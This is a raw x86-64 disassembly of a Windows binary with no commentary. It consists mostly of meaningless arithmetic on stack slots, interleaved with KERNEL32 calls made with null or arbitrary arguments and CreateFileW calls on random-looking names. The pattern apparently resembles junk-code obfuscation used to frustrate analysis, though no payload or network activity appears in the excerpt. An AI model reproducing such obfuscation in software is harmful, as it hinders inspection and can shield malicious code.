mov qword [rsp + 0x15618], rax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76b]
add eax, ecx
mov byte [rsp + 0x70e], al
mov rax, qword [rsp + 0x14eb0]
movzx eax, word [rax]
mov word [rsp + 0x3144], ax
movzx eax, word [rsp + 0x1820]
movzx ecx, word [rsp + 0x2bb0]
add eax, ecx
mov rcx, qword [rsp + 0x14650]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b2]
mov rcx, qword [rsp + 0x15440]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x624], al
mov rax, qword [rsp + 0x15360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x976c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ef8], eax
mov eax, dword [rsp + 0xb10c]
mov ecx, dword [rsp + 0xacb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa400], eax
lea rax, [rsp + 0x631]
mov qword [rsp + 0x15620], rax
movzx eax, word [rsp + 0x2a1c]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14028eb92], ax
mov eax, dword [rsp + 0x7200]
mov rcx, qword [rsp + 0x14a40]
mov qword [rsp + 0x15628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15628]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa634], eax
lea rax, [rsp + 0xac90]
mov qword [rsp + 0x15630], rax
mov rax, qword [0x14028ebc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab70]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xacbc], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c91
mov rcx, qword [rsp + 0x14928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa964], eax
mov rax, qword [rsp + 0x14d78]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa0bc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x15288]
movzx eax, word [rax]
mov word [rsp + 0x3148], ax
mov rax, qword [rsp + 0x15490]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5ba]
shl eax, cl
mov byte [rsp + 0x771], al
mov eax, dword [rsp + 0x81a4]
mov dword [rsp + 0xb23c], eax
mov rax, qword [rsp + 0x14fa8]
mov ecx, dword [rsp + 0x7fa0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6640], eax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [0x140281dce]
sub eax, ecx
mov byte [0x140281ebe], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x23f4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb240], eax
mov rax, qword [rsp + 0x14978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2510], ax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x73c]
add eax, ecx
mov rcx, qword [rsp + 0x14460]
mov byte [rcx], al
mov eax, dword [rsp + 0xa588]
mov dword [rsp + 0xb244], eax
lea rdx, [rsp + 0xa6d0]
mov rcx, qword [rsp + 0x150e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa760], eax
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa594], eax
mov eax, dword [rsp + 0x8d0c]
mov ecx, dword [rsp + 0xa900]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14a08], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xab6c]
mov dword [rsp + 0xb248], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8288], eax
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2394], ax
movzx eax, byte [rsp + 0x542]
mov rcx, qword [rsp + 0x14888]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14028edb0], al
mov eax, dword [rsp + 0xa8b4]
mov ecx, dword [0x14028ec38]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d30], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0xac8c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c5c], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xb24c], eax
mov rax, qword [rsp + 0x14c08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb08c]
shl eax, cl
mov dword [rsp + 0xa46c], eax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov byte [rsp + 0x794], al
movzx eax, word [rsp + 0x3110]
mov rcx, qword [rsp + 0x153d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30e4], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x366
mov r9d, 0xae2
mov r8d, 0x25a94d14
mov edx, 1
mov rcx, qword [rsp + 0x15468]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb1c0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa614], eax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x795], al
movsx eax, word [rsp + 0x1728]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x15388]
mov rcx, qword [0x14028ee28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282970], eax
mov rax, qword [rsp + 0x14c30]
mov ecx, dword [rsp + 0x9b30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb0cc], eax
mov rax, qword [rsp + 0x14810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14e10]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x2d80]
mov rcx, qword [rsp + 0x14b58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16d0], ax
mov eax, dword [rsp + 0xaef4]
mov dword [rsp + 0xb250], eax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0xa88c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15290]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb22c], eax
mov rax, qword [rsp + 0x15580]
mov eax, dword [rax]
mov dword [rsp + 0xb254], eax
mov rax, qword [rsp + 0x15148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3070], ax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281eb2], al
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x14ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d80], eax
mov rax, qword [rsp + 0x14d90]
mov ecx, dword [rsp + 0xa82c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa620], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xac34]
shl eax, cl
mov dword [rsp + 0xb02c], eax
mov eax, dword [rsp + 0x6b44]
mov dword [rsp + 0xb258], eax
mov eax, dword [rsp + 0xadb4]
movzx ecx, al
mov eax, dword [rsp + 0xa714]
sar eax, cl
mov dword [rsp + 0xa5c0], eax
lea rcx, [rsp + 0x22728]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x143c8]
movzx eax, word [rax]
mov word [rsp + 0x314c], ax
movsx eax, byte [rsp + 0x6e2]
mov rcx, qword [rsp + 0x15430]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14d70]
mov byte [rcx], al
movzx eax, byte [rsp + 0x747]
movzx ecx, byte [rsp + 0x46c]
sub eax, ecx
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
mov word [0x14028eae8], ax
mov rax, qword [0x14028ec30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x85bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x921c], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xb07c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d2c], eax
mov rax, qword [rsp + 0x152c0]
movzx eax, word [rax]
mov word [rsp + 0x3150], ax
lea rcx, [rsp + 0x246b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x154d0]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eb24]
sub eax, ecx
mov byte [rsp + 0x76d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x14b90]
mov eax, dword [rax]
mov dword [rsp + 0xb25c], eax
movzx ecx, word [rsp + 0x3078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3154], ax
mov eax, dword [rsp + 0xaf00]
mov ecx, dword [rsp + 0x86c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafac], eax
mov rax, qword [rsp + 0x155a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa654]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7648], eax
mov rax, qword [rsp + 0x14fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cc4], eax
mov rax, qword [rsp + 0x15410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15320]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282974], ax
movzx eax, byte [rsp + 0x718]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x640], al
mov eax, dword [rsp + 0x905c]
mov dword [rsp + 0xb260], eax
mov rax, qword [rsp + 0x15548]
mov rcx, qword [0x14028ecc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8eb0], eax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov byte [rsp + 0x765], al
lea rax, [rsp + 0x1dec]
mov qword [rsp + 0x15638], rax
mov rax, qword [rsp + 0x154f0]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e4e]
or eax, ecx
mov byte [rsp + 0x78b], al
movzx eax, word [rsp + 0x2f2c]
mov word [rsp + 0x3158], ax
mov rax, qword [rsp + 0x153f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6f4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad0c], eax
mov rax, qword [rsp + 0x14fa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad38]
sar eax, cl
mov rcx, qword [0x14028ed40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb0ec]
movzx ecx, al
mov eax, dword [rsp + 0xacf0]
shl eax, cl
mov dword [rsp + 0x86c8], eax
mov eax, dword [rsp + 0xae1c]
mov dword [rsp + 0xb264], eax
mov rax, qword [rsp + 0x14e08]
mov rcx, qword [0x14028ecc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaae4], eax
mov rax, qword [rsp + 0x14b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3028]
add eax, ecx
mov word [rsp + 0x1434], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44f]
sub eax, ecx
mov byte [rsp + 0x704], al
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov dword [rsp + 0xb268], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf44], eax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x651c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9e0], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6984]
add ecx, eax
mov eax, ecx
mov dword [0x14028295c], eax
movzx eax, word [rsp + 0x2d5c]
mov word [rsp + 0x315c], ax
mov edx, 0x3ac570
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xb16c], eax
mov rax, qword [rsp + 0x147c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x149e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30c0]
add eax, ecx
mov word [rsp + 0x1dcc], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x140b0]
mov byte [rcx], al
mov eax, dword [rsp + 0xaaac]
mov rcx, qword [0x14028ece0]
mov qword [rsp + 0x15640], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15640]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f10], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov dword [rsp + 0xb26c], eax
movzx eax, word [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ca0], ax
lea rax, [0x140281e8a]
mov qword [rsp + 0x15648], rax
lea rax, [rsp + 0x9448]
mov qword [0x14028eae0], rax
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15318]
mov qword [rsp + 0x15650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15650]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xad78], eax
mov rax, qword [rsp + 0x15548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa10]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xadb4], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xb270], eax
movzx eax, word [rsp + 0x2f28]
movzx ecx, word [rsp + 0x30ac]
and eax, ecx
mov word [rsp + 0x2e3c], ax
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xb274], eax
lea rax, [0x140281dcb]
mov qword [rsp + 0x15658], rax
mov rax, qword [rsp + 0x15090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x82f8], eax
mov rax, qword [rsp + 0x14fc8]
mov ecx, dword [rsp + 0x9700]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ae4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa29c], eax
mov eax, dword [rsp + 0xa874]
mov ecx, dword [0x1402827e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6938], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x14988]
mov rcx, qword [rsp + 0x14d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282978], eax
mov rax, qword [rsp + 0x150b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xafe8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x64e]
mov byte [rsp + 0x796], al
movsx eax, word [rsp + 0x314c]
mov rcx, qword [rsp + 0x14e38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b5c], ax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov rax, qword [0x14028ebb8]
movzx eax, byte [rax]
mov byte [rsp + 0x797], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b64], ax
mov rax, qword [rsp + 0x14a18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa978], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb278], eax
mov rax, qword [rsp + 0x151d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa698]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x95a8], eax
movzx eax, word [rsp + 0x2f2c]
movzx ecx, word [rsp + 0x217c]
sar eax, cl
mov word [rsp + 0x2d54], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15138]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14028eb90], al
mov rax, qword [rsp + 0x155d8]
mov eax, dword [rax]
mov dword [rsp + 0xb27c], eax
mov eax, dword [rsp + 0xafe8]
movzx ecx, al
mov eax, dword [rsp + 0x7370]
shl eax, cl
mov dword [rsp + 0xae58], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1e9f
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xae34], eax
mov rax, qword [0x14028eb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf2c], eax
mov eax, dword [rsp + 0xa5c8]
mov dword [rsp + 0xb280], eax
movzx ecx, word [rsp + 0x2bd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f74], ax
mov rax, qword [rsp + 0x14dc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ef]
and eax, ecx
mov byte [rsp + 0x75a], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2160]
add eax, ecx
mov word [rsp + 0x195c], ax
mov rax, qword [rsp + 0x15448]
mov ecx, dword [rsp + 0xa3a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14838]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f00]
mov ecx, dword [0x140282730]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x81a4], eax
mov rax, qword [rsp + 0x14eb0]
movzx eax, word [rax]
mov word [0x14028eadc], ax
movzx eax, byte [rsp + 0x726]
mov byte [rsp + 0x798], al
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
sub eax, ecx
mov word [rsp + 0x2fec], ax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
mov byte [rsp + 0x799], al
mov rax, qword [rsp + 0x14d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa08], eax
mov eax, dword [rsp + 0x6690]
mov dword [rsp + 0xb284], eax
mov rax, qword [0x14028ec50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa890]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15108]
mov ecx, dword [rsp + 0x69e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xafa4], eax
mov rax, qword [rsp + 0x148f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb0d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b6c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x717]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c0], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x9328
mov rcx, qword [rsp + 0x149e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa6d0], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bb0]
or eax, ecx
mov word [0x140282818], ax
mov eax, dword [0x1402826a8]
mov dword [rsp + 0xb288], eax
mov eax, dword [rsp + 0xab7c]
movzx ecx, al
mov eax, dword [rsp + 0xa9c8]
sar eax, cl
mov dword [rsp + 0xa53c], eax
lea rcx, [rsp + 0x21b30]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0xaec8]
movzx ecx, al
mov eax, dword [rsp + 0xa914]
shl eax, cl
mov dword [rsp + 0xa674], eax
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov dword [rsp + 0xb28c], eax
mov rax, qword [rsp + 0x15148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f88]
xor eax, ecx
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x155e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x151f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14678]
mov byte [rcx], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ce0], ax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [0x14028ee58]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028297c], eax
mov eax, dword [rsp + 0xaba0]
mov dword [rsp + 0xb290], eax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e7c]
add eax, ecx
mov word [rsp + 0x1960], ax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
mov byte [rsp + 0x79a], al
mov rax, qword [rsp + 0x15618]
mov ecx, dword [rsp + 0xa560]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8724], eax
mov rax, qword [rsp + 0x14b10]
mov ecx, dword [rsp + 0x9dbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa728], eax
mov eax, dword [rsp + 0x7144]
mov ecx, dword [rsp + 0xac64]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa20c], eax
mov eax, dword [rsp + 0x87e4]
mov ecx, dword [rsp + 0x73a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x15018]
movzx eax, byte [rax]
mov byte [rsp + 0x79b], al
movzx eax, word [rsp + 0x2ce8]
movzx ecx, word [rsp + 0x2e08]
or eax, ecx
mov word [0x14028ebb0], ax
mov eax, dword [rsp + 0x9b4c]
movzx ecx, al
mov eax, dword [rsp + 0xaa3c]
shl eax, cl
mov dword [rsp + 0xa5bc], eax
mov rax, qword [rsp + 0x14fe0]
mov eax, dword [rax]
mov dword [rsp + 0xb294], eax
mov rax, qword [rsp + 0x14988]
mov ecx, dword [rsp + 0xad4c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaeb0], eax
mov eax, dword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0x15208]
mov qword [rsp + 0x15660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15660]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa4d4], eax
mov rax, qword [rsp + 0x14ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x2f98]
mov qword [rsp + 0x15668], rax
movzx eax, byte [rsp + 0x2de]
mov rcx, qword [rsp + 0x14868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x699], al
mov rax, qword [rsp + 0x14918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15410]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14028eb58]
mov word [rcx], ax
mov rax, qword [rsp + 0x14f80]
mov rcx, qword [0x14028ee10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15170]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7ec]
mov dword [rsp + 0xb298], eax
movzx eax, byte [rsp + 0x394]
mov rcx, qword [rsp + 0x15578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6a5], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov word [rsp + 0x3160], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.pRQQjCdjJqneYyg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15670], rax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x14e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa840], eax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7cfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa624], eax
mov eax, dword [0x14028ee44]
mov dword [rsp + 0xb29c], eax
mov rax, qword [rsp + 0x14c20]
mov rcx, qword [rsp + 0x14fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x95a8], eax
movzx eax, byte [rsp + 0x737]
movzx ecx, byte [rsp + 0x51d]
and eax, ecx
mov byte [0x140281ebf], al
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa3d8], eax
movzx eax, word [0x14028284c]
movzx ecx, word [rsp + 0x2f34]
xor eax, ecx
mov word [rsp + 0x2ae4], ax
mov rax, qword [rsp + 0x14b10]
mov ecx, dword [rsp + 0xafc4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa424], eax
mov eax, dword [rsp + 0x779c]
mov dword [rsp + 0xb2a0], eax
mov rax, qword [0x14028eb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15430]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6c7], al
movsx eax, word [rsp + 0x2cec]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c78], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov byte [rsp + 0x79c], al
movzx eax, word [rsp + 0x30d4]
mov rcx, qword [rsp + 0x15320]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c0c], ax
lea rax, [rsp + 0xa920]
mov qword [rsp + 0x15678], rax
mov eax, dword [rsp + 0x8404]
mov dword [0x14028ead8], eax
mov rax, qword [rsp + 0x14cc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaff8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf08], eax
mov rax, qword [rsp + 0x14f68]
mov ecx, dword [rsp + 0xafac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa564], eax
mov eax, dword [rsp + 0xaa68]
mov ecx, dword [rsp + 0x6974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dec], eax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15658]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.kViHUa1GQU0wP9ulhT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15680], rax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
